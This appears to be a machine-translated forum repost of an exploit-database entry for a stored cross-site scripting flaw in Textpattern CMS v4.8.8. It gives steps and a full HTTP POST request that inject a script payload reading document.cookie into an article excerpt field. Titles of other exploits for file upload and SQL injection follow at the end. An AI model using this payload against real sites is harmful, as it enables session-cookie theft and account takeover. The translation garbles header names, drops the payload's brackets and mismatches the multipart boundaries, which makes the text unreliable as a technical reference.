TextPattern CMS v4.8.8-存储的跨站点脚本（XSS）（认证）

[HackApt-37 Team已验证会员]

＃exploit title: textpattern cms v4.8.8-存储的跨站点脚本（XSS）（认证）
＃日期: 2023-06-13
＃利用作者: TMRSWRR
＃供应商HomePage: https://textpattern.com/
＃软件link: https://textpattern.com/file_download/118/textpattern-4.8.8.8.zip
＃版本: v4.8.8
＃测试: https://release-demo.textpattern.co/
- - 描述 - -
1）登录管理页面，选择内容，文章第:节

正在加载...

release-demo.textpattern.co

2）在摘录字段中写入此有效载荷'scriptalert（document.cookie）/脚本
3）单击我的网站，您会看到警报按钮

正在加载...

release-demo.textpattern.co

- - 要求 - -
post/textpattern/index.php http/2
HOST: REAKIT-DEMO.TEXTPATTERN.CO
cookie: txp_login=manding-editor179％2C1673C724813DC43DC43D06D90AFF6E6E69616C; txp_login_public=b7cb169562managing-editor179
用户- 代理: Mozilla/5.0（X11; Linux X86_64; RV:102.0）壁虎/20100101 Firefox/102.0
ACCEPT:文本/JavaScript，应用程序/JavaScript，Application/ecmascript，Application/X-Ecmascript， /; Q=0.01
Accept-Language: en-us，en; q=0.5
Accept-incoding: Gzip，放气
Referer: https://release-demo.textpattern.co/
X-重新要求- WITH: XMLHTTPREQUEST
content-type:多部分/form-data;边界=--------------------------------- 2651666042700398511941284351
内容长度: 4690
Origin: https://release-demo.textpattern.co
DNT: 1
sec-fetch-Dest:空
sec-fetch mode: cors
sec-fetch-site:相同原产
TE:拖车
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='id'
2
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='event'
文章
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='step'
编辑
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='title'
你好
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data; name='textile_body'
1
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='身体'
你好
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data; name='textile_excerpt'
1
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='摘录'
'scriptalert（document.cookie）/脚本
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data; name='stosted'
1686684925
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='SlastMod'
1686685069
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='tured'
管理编辑179
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='lastModid'
管理编辑179
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='状态'
4
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='部分'
文章
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='override_form'
atrest_listing
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='年'
2023
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='月份'
06
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='day'
13
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='小时'
19
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data; name='minute'
35
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='第二'
25
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_year'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_month'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_day'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_hour'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_minute'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='exp_second'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='sexpires'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='category1'
希望的想法
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='category2'
希望的想法
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='url_title'
警报1
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='描述'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='关键字'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='图像'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='custom_1'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='custom_2'
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='保存'
节省
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='app_mode'
异步
-------------------------------------- 26516646042700398511941284351
content-disposition: form-data;名称='_ txp_token'
FB6DA7F582D0606882462BC4ED72238E
------------------------------------ 26516646042700398511941284351-

 

H

在线美术馆项目1.0-任意文件上传（未经身份验证）

H

在线论文归档系统v1.0-多sqli